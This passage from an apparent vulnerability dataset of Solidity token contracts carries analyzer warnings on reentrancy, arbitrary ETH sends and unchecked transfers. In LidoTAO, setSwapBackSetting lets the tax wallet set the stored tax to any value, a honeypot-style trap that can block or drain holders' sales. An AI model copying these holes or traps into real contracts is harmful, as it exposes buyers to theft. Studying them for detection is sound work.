uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 352a72c\n\t\t// unused-return | ID: e0296cb\n\t\t// reentrancy-eth | ID: 2c07c8b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 352a72c\n\t\t// unused-return | ID: 19b3c9a\n\t\t// reentrancy-eth | ID: 2c07c8b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 352a72c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2c07c8b\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10166.sol",
"size_bytes": 19864,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 722f567): LidoTAO.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = (_tTotal * 5) / 10000 _maxTaxSwap = _taxSwapThreshold * 40\n// Recommendation for 722f567: Consider ordering multiplication before division.\ncontract LidoTAO is Context, Ownable, IERC20 {\n using SafeMath for uint256;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: be6d199): LidoTAO._taxWallet should be immutable \n\t// Recommendation for be6d199: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7b23fd9): LidoTAO._initialBuyTax should be constant \n\t// Recommendation for 7b23fd9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac42587): LidoTAO._initialSellTax should be constant \n\t// Recommendation for ac42587: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 30e82e2): LidoTAO._finalBuyTax should be constant \n\t// Recommendation for 30e82e2: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 4;\n\n\t// WARNING Optimization Issue (constable-states | ID: 554c731): LidoTAO._finalSellTax should be constant \n\t// Recommendation for 554c731: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 4;\n\n\t// WARNING Optimization Issue (constable-states | ID: e78149e): LidoTAO._reduceBuyTaxAt should be constant \n\t// Recommendation for e78149e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 27;\n\n\t// WARNING Optimization Issue (constable-states | ID: d0ad22b): LidoTAO._reduceSellTaxAt should be constant \n\t// Recommendation for d0ad22b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: f6954d7): LidoTAO._preventSwapBefore should be constant \n\t// Recommendation for f6954d7: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 27;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Lido TAO\";\n\n string private constant _symbol = unicode\"LAO\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c6fd61): LidoTAO._taxSwapThreshold should be constant \n\t// Recommendation for 7c6fd61: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 722f567\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6a1195f): LidoTAO._maxTaxSwap should be immutable \n\t// Recommendation for 6a1195f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n\t// divide-before-multiply | ID: 722f567\n uint256 public _maxTaxSwap = _taxSwapThreshold * 40;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private limitsInEffect = true;\n\n uint256 private taxAmount;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 50f1ed2): LidoTAO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 50f1ed2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c381562): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c381562: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 168bf43): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 168bf43: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c381562\n\t\t// reentrancy-benign | ID: 168bf43\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c381562\n\t\t// reentrancy-benign | ID: 168bf43\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4d29bcf): LidoTAO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4d29bcf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 168bf43\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: c381562\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5fa8526): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5fa8526: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4e35da8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4e35da8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 81c6233): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 81c6233: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (\n from != owner() &&\n to != owner() &&\n to != _taxWallet &&\n limitsInEffect\n ) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount >= _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 5fa8526\n\t\t\t\t// reentrancy-benign | ID: 4e35da8\n\t\t\t\t// reentrancy-eth | ID: 81c6233\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5fa8526\n\t\t\t\t\t// reentrancy-eth | ID: 81c6233\n saveETHBalance(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 81c6233\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-benign | ID: 4e35da8\n if (!limitsInEffect) taxAmount = 0;\n\n\t\t\t// reentrancy-events | ID: 5fa8526\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 81c6233\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 81c6233\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5fa8526\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeTx() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTaxes() external {\n limitsInEffect = false;\n\n require(_msgSender() == _taxWallet);\n }\n\n function setSwapBackSetting(uint256 swapThreshold, bool enabled) external {\n require(_msgSender() == _taxWallet);\n\n swapEnabled = enabled;\n\n taxAmount = swapThreshold;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 2ca4306): LidoTAO.saveETHBalance(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 2ca4306: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function saveETHBalance(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5fa8526\n\t\t// reentrancy-events | ID: c381562\n\t\t// reentrancy-eth | ID: 81c6233\n\t\t// arbitrary-send-eth | ID: 2ca4306\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bf08788): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bf08788: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 34a7625): LidoTAO.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 34a7625: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1dbd70e): LidoTAO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1dbd70e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cbd1407): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cbd1407: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: bf08788\n\t\t\t// reentrancy-eth | ID: cbd1407\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(uniswapV2Router.WETH(), address(this));\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: bf08788\n\t\t// unused-return | ID: 1dbd70e\n\t\t// reentrancy-eth | ID: cbd1407\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: bf08788\n\t\t// unused-return | ID: 34a7625\n\t\t// reentrancy-eth | ID: cbd1407\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: bf08788\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: cbd1407\n tradingOpen = true;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5fa8526\n\t\t// reentrancy-events | ID: c381562\n\t\t// reentrancy-benign | ID: 4e35da8\n\t\t// reentrancy-benign | ID: 168bf43\n\t\t// reentrancy-eth | ID: 81c6233\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: d21ebea): LidoTAO.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for d21ebea: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: d21ebea\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap(uint256 tokenAmount) external {\n require(_msgSender() == _taxWallet);\n\n if (tokenAmount > 0 && swapEnabled) {\n swapTokensForEth(tokenAmount);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n saveETHBalance(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10167.sol",
"size_bytes": 21638,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n uint256 c = a - b;\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n uint256 c = a / b;\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract THEHOLYMASCOT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n address payable private _taxWallet;\n\t// WARNING Optimization Issue (immutable-states | ID: 6aefc5d): THEHOLYMASCOT._devWallet should be immutable \n\t// Recommendation for 6aefc5d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _devWallet;\n\t// WARNING Optimization Issue (constable-states | ID: 4dc4992): THEHOLYMASCOT._devPortion should be constant \n\t// Recommendation for 4dc4992: Add the 'constant' attribute to state variables that never change.\n uint256 _devPortion = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 15614ae): THEHOLYMASCOT._initialBuyTax should be constant \n\t// Recommendation for 15614ae: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 5b2b26e): THEHOLYMASCOT._initialSellTax should be constant \n\t// Recommendation for 5b2b26e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n uint256 private _finalBuyTax = 0;\n uint256 private _finalSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 4e714e6): THEHOLYMASCOT._reduceBuyTaxAt should be constant \n\t// Recommendation for 4e714e6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 3a987bc): THEHOLYMASCOT._reduceSellTaxAt should be constant \n\t// Recommendation for 3a987bc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 0ca8dd6): THEHOLYMASCOT._preventSwapBefore should be constant \n\t// Recommendation for 0ca8dd6: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n uint256 private _transferTax = 0;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 7777777777777 * 10 ** _decimals;\n string private constant _name = unicode\"THE HOLY MASCOT\";\n string private constant _symbol = unicode\"LUCE\";\n uint256 public _maxTxAmount = (_tTotal * 20) / 1000;\n uint256 public _maxWalletSize = (_tTotal * 20) / 1000;\n\t// WARNING Optimization Issue (constable-states | ID: b619e3e): THEHOLYMASCOT._taxSwapThreshold should be constant \n\t// Recommendation for b619e3e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 1) / 100;\n\t// WARNING Optimization Issue (constable-states | ID: 59f846e): THEHOLYMASCOT._maxTaxSwap should be constant \n\t// Recommendation for 59f846e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 500) / 1000;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n uint256 public tradingOpenBlock = 9999999999;\n bool private inSwap = false;\n bool private swapEnabled = false;\n uint256 private sellCount = 0;\n uint256 private lastSellBlock = 0;\n event MaxTxAmountUpdated(uint _maxTxAmount);\n event TransferTaxUpdated(uint _tax);\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n event TradingOpened(uint256 timestamp, uint256 blockNumber);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xd7Cb3CA702Fbc707431453F56d5893ae902cC373);\n _devWallet = payable(0x590De96BbA830B1F06034ab86eb2A0e29c83C472);\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n _isExcludedFromFee[0x590De96BbA830B1F06034ab86eb2A0e29c83C472] = true;\n\n _balances[\n 0x590De96BbA830B1F06034ab86eb2A0e29c83C472\n ] = 77777777777770004480;\n emit Transfer(\n address(0),\n 0x590De96BbA830B1F06034ab86eb2A0e29c83C472,\n 77777777777770004480\n );\n _balances[_msgSender()] = 7699999999999229995520;\n emit Transfer(address(0), _msgSender(), 7699999999999229995520);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6185f61): THEHOLYMASCOT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6185f61: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 06f044b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 06f044b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 008514a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 008514a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 06f044b\n\t\t// reentrancy-benign | ID: 008514a\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 06f044b\n\t\t// reentrancy-benign | ID: 008514a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a88c42d): THEHOLYMASCOT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a88c42d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 008514a\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 06f044b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 31f1d50): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 31f1d50: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e7a5ce3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e7a5ce3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n if 